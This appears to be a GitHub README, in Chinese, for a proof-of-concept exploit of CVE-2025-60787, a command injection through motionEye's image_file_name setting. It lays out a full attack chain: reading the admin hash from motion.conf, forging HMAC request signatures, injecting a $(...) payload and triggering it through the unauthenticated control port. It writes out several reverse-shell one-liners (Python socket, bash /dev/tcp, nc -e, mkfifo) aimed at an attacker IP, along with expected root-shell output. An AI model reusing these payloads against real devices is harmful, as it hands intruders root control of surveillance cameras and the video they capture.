agent-skywalker/CVE-2025-60787

GitHub: agent-skywalker/CVE-2025-60787

针对 MotionEye v0.43.1b4 的操作系统命令注入漏洞(CVE-2025-60787)的概念验证利用代码,通过滥用未过滤的 image_file_name 配置参数实现任意命令执行。

Stars: 0 | Forks: 0

# CVE-2025-60787 MotionEye v0.43.1b4 OS 命令注入 针对 [motionEye](https://github.com/motioneye-project/motioneye)(motion daemon 的 Web 前端)中漏洞的概念验证 OS 命令注入利用代码。该漏洞滥用 `image_file_name` 配置参数,该参数在未经过滤的情况下直接传递给 shell,允许通过 `$(command)` 子 shell 语法执行任意命令注入。 ## 目录 - 漏洞工作原理 - 前置条件 - 步骤 1 — 定位管理员密码哈希 - 步骤 2 — 理解认证链 - 步骤 3 — 理解签名算法 - 步骤 4 — 配置利用代码 - 步骤 5 — 启动监听器 - 步骤 6 — 运行利用代码 - 参数参考 - 故障排除 ## 漏洞工作原理 motionEye 将 `image_file_name` 配置值作为 shell 文件名模式直接传递给 motion daemon。Motion 在快照时刻会评估文件名中的 `$(...)` 子 shell 表达式,这意味着放置在 `$(...)` 中的任何命令都会以运行 motion 进程的用户(通常为 `root`)身份执行。 完整的攻击链如下: ``` 1. Read admin_password hash from /etc/motioneye/motion.conf ↓ 2. Derive cookie hash = SHA1(admin_password_hash) ↓ 3. Compute HMAC signature using motionEye's exact algorithm: SHA1("METHOD:path:body:key") ↓ 4. POST malicious config to /config/{cam}/set/ with: image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S ↓ 5. Trigger snapshot via unauthenticated motion control port 7999 ↓ 6. Motion evaluates the filename → command executes as root ↓ 7. Reverse shell connects back to attacker machine ``` ## 前置条件 - Python 3.6+ - 访问目标 motionEye 实例的网络权限(默认端口 `8765`) - 来自 `/etc/motioneye/motion.conf` 的管理员密码哈希 - 攻击机上的监听器(例如 `nc`) 无需第三方 Python 包 —— 该利用代码仅使用标准库。 ## 步骤 1 — 定位管理员密码哈希 motionEye 配置文件以 SHA1 哈希格式存储管理员密码。从目标读取: ``` cat /etc/motioneye/motion.conf ``` 查找 `@admin_password` 注释行: ``` # @admin_username admin # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0 ``` 同时记录 `webcontrol_port` 值 —— 这是用于触发快照的无认证 motion 控制端口: ``` webcontrol_port 7999 webcontrol_localhost on ``` ## 步骤 2 — 理解认证链 motionEye 使用双重哈希认证方案: ``` plaintext_password │ ▼ SHA1 admin_password ←── stored in motion.conf as @admin_password │ ▼ SHA1 cookie_hash ←── sent in browser cookie as meye_password_hash │ ▼ used as HMAC key request_signature ←── _signature= parameter in every API request ``` 利用代码会自动从配置哈希推导出 cookie 哈希: ``` cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest() ``` 你可以手动验证这一点: ``` echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum # output: 238bd0f26e9f987d2dc9c0351c018e5f52534052 ``` ## 步骤 3 — 理解签名算法 签名是根据 motionEye 源代码中的 `/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py` 计算得出的: ``` SHA1("METHOD:path:body:key") ``` 其中: - `METHOD` — HTTP 方法(`POST`) - `path` — 从查询字符串中移除 `_signature`、参数排序、值进行 URL 编码,然后通过 `_SIGNATURE_REGEX` 过滤后的 URI - `body` — 通过 `_SIGNATURE_REGEX` 过滤后的原始 JSON body 字符串 - `key` — `admin_password` 或 `admin_hash`(motionEye 两者都接受),通过 `_SIGNATURE_REGEX` 过滤 `_SIGNATURE_REGEX` 会剔除任何不在 `[a-zA-Z0-9/?_.=&{}\[\]":, -]` 中的字符,并将其替换为 `-`。 ## 步骤 4 — 配置利用代码 打开 `exploit.py` 并在顶部设置以下变量: ``` MOTIONEYE_URL = "http://127.0.0.1:8765" # motionEye web UI URL MOTION_URL = "http://127.0.0.1:7999" # motion control port (no auth) USERNAME = "admin" # admin username (default: admin) ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # from motion.conf LHOST = "10.10.16.153" # your listener IP — the target must be able to reach this LPORT = "4444" # your listener port ``` 反向 shell 命令会根据 `LHOST` 和 `LPORT` 自动设置: ``` COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'" ``` **其他 shell 命令** —— 如果默认命令被阻止,请替换 `COMMAND`: ``` # Bash TCP (简单,可能被过滤) COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1" # 带 -e 标志的 Netcat COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}" # 不带 -e 的 Netcat (OpenBSD netcat) COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f" ``` ## 步骤 5 — 启动监听器 在你的攻击机上,**在**运行利用代码之**前**启动一个 netcat 监听器: ``` nc -lvnp 4444 ``` 利用代码在打印监听器提醒后会暂停 5 秒,以便你有时间切换终端。 ## 步骤 6 — 运行利用代码 ``` python3 exploit.py ``` 预期输出: ``` ============================================================ motionEye RCE — Reverse Shell ============================================================ [*] LHOST : 10.10.16.153 [*] LPORT : 4444 [*] Command : python3 -c '...' [!] Start your listener NOW: nc -lvnp 4444 [*] Sending payload in 5 seconds... [*] cam=2 key=admin_password ts=1773484327292 sig=abc123... status=200 resp={} [+] Config saved! cam=2 key=admin_password [*] Triggering snapshots via port 7999 (no auth)... [+] cam 0 → 200 Snapshot for camera 0 Done [+] cam 1 → 200 Snapshot for camera 1 Done [+] cam 2 → 200 Snapshot for camera 2 Done [+] Snapshot triggered — check your listener on 10.10.16.153:4444 ``` 你应该在你的监听器上收到: ``` listening on [any] 4444 ... connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234 root@cctv:/var/lib/motioneye/Camera2# ``` ## 参数参考 | 参数 | 位置 | 描述 | 示例 | |-----------|----------|-------------|---------| | `MOTIONEYE_URL` | `exploit.py` | motionEye Web 界面的完整 URL | `http://127.0.0.1:8765` | | `MOTION_URL` | `exploit.py` | motion 控制端口的 URL(无需认证) | `http://127.0.0.1:7999` | | `USERNAME` | `exploit.py` | motionEye 管理员用户名 | `admin` | | `ADMIN_HASH` | `exploit.py` | `motion.conf` 中 `@admin_password` 的 SHA1 哈希 | `989c5a8e...` | | `LHOST` | `exploit.py` | 你的攻击机 IP —— 目标必须能访问此 IP | `10.10.16.153` | | `LPORT` | `exploit.py` | 你的 `nc` 监听器端口 | `4444` | ## 故障排除 **所有请求均返回 403 Unauthorized** 签名错误。请验证你的 `ADMIN_HASH` 值是否与 `motion.conf` 中的 `@admin_password` 行完全匹配 —— 没有空格,没有换行符。 ``` cat /etc/motioneye/motion.conf | grep admin_password ``` **快照已触发但没有 shell 连接** `image_file_name` 注入成功,但反向 shell 被阻止。请尝试步骤 4 中的其他 `COMMAND`。同时确认目标可以访问你的 `LHOST`: ``` # 在目标上 ping -c 1 10.10.16.153 curl http://10.10.16.153:4444 ``` **端口 7999 拒绝连接** `webcontrol_localhost on` 设置将端口 7999 限制为仅限 localhost。利用代码必须从目标机器运行或通过隧道运行。使用以下命令确认: ``` ss -tlnp | grep 7999 ``` **`motion.conf` 不可读** 该文件可能需要提升权限: ``` sudo cat /etc/motioneye/motion.conf ``` **未找到摄像头配置** 检查存在哪些摄像头配置文件,并根据需要更新利用代码中的 `cam` 列表: ``` ls /etc/motioneye/camera-*.conf ``` ## 截图 / 演示 ### 读取配置哈希 ### 运行利用代码 ### 收到反向 shell ### 完整演示 ## 参考资料 - [CVE-2023-30626](https://www.cve.org/CVERecord?id=CVE-2023-30626) - [motionEye source — utils/__init__.py](https://github.com/motioneye-project/motioneye/blob/main/motioneye/utils/__init__.py) - [motionEye source — handlers/base.py](https://github.com/motioneye-project/motioneye/blob/main/motioneye/handlers/base.py) - [motion documentation — picture_filename](https://motion-project.github.io/motion_config.html#picture_filename)
标签:0day, CISA项目, CVE-2025-60787, HMAC身份验证, IoT安全, MotionEye, PoC, Python, RCE, RCE漏洞利用, Root权限, Shell注入, Web安全, 反向Shell, 威胁模拟, 操作系统命令注入, 无后门, 暴力破解, 概念验证, 漏洞分析, 签名算法绕过, 编程工具, 网络安全, 蓝队分析, 视频监控, 路径探测, 远程代码执行, 隐私保护